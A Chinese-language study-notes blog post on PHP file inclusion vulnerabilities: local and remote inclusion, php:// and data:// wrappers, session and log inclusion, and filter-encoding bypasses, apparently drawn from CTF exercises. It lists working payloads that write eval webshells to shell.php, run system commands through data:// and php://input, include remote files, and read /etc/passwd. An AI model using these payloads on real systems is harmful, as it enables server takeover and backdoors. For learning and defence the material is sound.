【学习笔记】文件包含漏洞--本地远程包含、伪协议、加密编码

一、文件包含漏洞

和SQL等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。

PHP常用文件包含函数:include(),require(),include_once(),require_once()

区别如下:

  • require():找不到被包含的文件会产生致命错误,并停止脚本运行
  • include():找不到被包含的文件只会产生警告,脚本继续执行
  • require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
  • include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

二、漏洞成因分析

写以下两串php代码

利用文件包含,我们通过include函数来执行phpinfo.php页面,成功解析

将phpinfo.php文件后缀改为txt后进行访问,依然可以解析,同理,jpg也可

可以看出,include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。

在文件上传漏洞中,我们上传了一个jpg格式的一句话木马,如果网站有文件包含漏洞,jpg文件就可以被当做php文件解析,所以这就是文件上传漏洞通常配合文件上传使用。

将phpinfo.txt的内容改成一段文字:hello world!,再次进行访问,依旧可以读出文本内容

利用这个特性,我们可以读取一下包含敏感信息的文件。

三、本地包含、远程包含

①本地文件包含(LFI)

本地文件包含是指包含服务器本地文件并执行其中的代码。通常用于重用代码片段,避免重复编写相同的代码。

例如,在PHP中,可以使用include 或require函数来包含文件:

复制代码
<?php

include('localfile.php');

?>

如果包含的文件不存在,include 函数会产生警告,但脚本会继续运行,而require函数会产生致命错误并终止脚本。

②远程文件包含(RFI)

远程文件包含是指通过URL包含远程服务器上的文件并执行其中的代码。

要实现远程文件包含,PHP配置中的allow_url_include必须开启:

复制代码
<?php

include('http://example.com/remotefile.php');

?>

远程文件包含的风险更大,因为攻击者可以通过URL传递恶意代码并在目标服务器上执行。

风险:本地文件包含:主要风险是泄露服务器上的敏感文件。

远程文件包含:风险更大,可能导致远程代码执行。

四、伪协议

文件包含漏洞全面详解(伪协议)-CSDN博客

文件读取:

file:///etc/passwd(绝对路径)

php://filter/read=convert.base64-encode/resource=phpinfo.php(相对路径)

文件写入:

php://filter/write=convert.base64-encode/resource=phpinfo.php

php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GETcmd); ?>'); ?>

代码执行:

php://input------POST:<?php phpinfo();?>

data://text/plain,<?php phpinfo();?>

data://text/plain;base64,PD9waHAgc3lzdGVtKCdJcycpOz8+

++(注:PD9waHAgc3lzdGVtKCdJcycpOz8+解码为<?php system('Is');?>++

五、session包含

session文件会定时清空

自定义session名字,条件竞争不断访问session文件,value代码会不断写入是session文件中去,然后再session文件清空的一刹那不断用条件竞争去包含session文件,使其执行value代码,代码执行时就会创建shell.php文件,写入后门代码。

<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST1)?>'?>" />

六、php&http协议

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

payload: ?file=php://input post:<?php system('tac flag.php');?>

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

七、data&http协议

payload: ?file=data://text/plain,<?=system('tac flag.*');?>

payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

八、日志包含

利用日志记录UA特性包含执行,将后门代码写入UA 头中

payload:/var/log/nginx/access.log

九、php://filter/write&加密编码

1、利用base64:

url编码2次:php://filter/write=convert.base64-decode/resource=123.php

content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

2、利用凯撒13:

url编码2次:php://filter/write=string.rot13/resource=2.php

content=<?cuc riny($_CBFG1);?>

十、php://filter/write&新的算法

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

contents=?<hp pvela$(P_SOTa;)>?

以上内容均为自己学习理解所得,如有错误,欢迎大家评论指正!

相关推荐
前端的日常9 分钟前
一个人+AI做情侣食谱小程序,0 费用的服务器
前端·后端
辣知13 分钟前
辣知·化智93 被历史尘封的鬻子
学习
HackTwoHub25 分钟前
双通道红队 C2,MCP 接入 AI,全自动渗透实战利器,具备自动提权、进程伪装、无文件上线能力,载荷 AES 加密
安全·web安全·网络安全·系统安全·密码学·可信计算技术·安全架构
计算机魔术师39 分钟前
谷歌搜索广告踩刹车,AI广告成为救命稻草
前端
总要学点什么1 小时前
第81篇:数据可视化-PM2.5分布——让圆点的胖瘦替每座城市报出浓度
前端·信息可视化·echarts·cesium·空间分析
IT_陈寒1 小时前
Vue的v-for里用了个临时变量,页面直接挂了
前端·人工智能·后端
hunter_0761 小时前
一次 iOS 真机签名 409 的完整排查:证书、设备、描述文件为什么总是"对不上"
前端
枣把儿1 小时前
开源!公众号排版+一键发布工具懒人版
前端
2501_916007471 小时前
抓包工具功能对比,TraceEagle、Charles、Fiddler、Wireshark、mitmproxy 差别
前端·网络协议·ios·adb·https·fiddler·wireshark
Flynt1 小时前
AI 写的页面一眼假?有人把"假指纹"写成 62 条规则,不用大模型就能跑
前端·ai编程·claude